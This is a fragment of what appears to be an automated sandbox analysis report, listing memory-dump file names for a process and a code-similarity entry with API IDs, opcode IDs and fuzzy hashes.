                                                                                                                        • Associated: 00000018.00000002.3688805957.000000000054F000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.00000000005E0000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.00000000005EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000616000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000625000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000632000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.000000000063A000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.000000000063F000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.000000000065F000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.000000000066B000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000675000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.000000000067B000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.000000000067E000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000684000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000765000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000768000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.000000000077D000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000782000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        • Associated: 00000018.00000002.3688805957.0000000000796000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                        • Snapshot File: hcaresult_24_2_4c0000_qqq.jbxd
                                                                                                                        Similarity
                                                                                                                        • API ID: CriticalSection$AllocEnterInitializeLeaveLocal
                                                                                                                        • String ID:
                                                                                                                        • API String ID: 730355536-0
                                                                                                                        • Opcode ID: e6dd9d84d975cb1c2af73ef40c27bb02b01df08b30acc7b1299c3d1b386845e8
                                                                                                                        • Instruction ID: e8098b86a43b0c0986f36686b98aff2e2138d5be73c136f3d0465afc6b5b20b5
                                                                                                                        • Opcode Fuzzy Hash: e6dd9d84d975cb1c2af73ef40c27bb02b01df08b30acc7b1299c3d1b386845e8
                                                                                                                        • Instruction Fuzzy Hash: 930188F0D9C2449EE759BF69AC0EF157A90D786700F218075E106866D1C7BC8851DFA9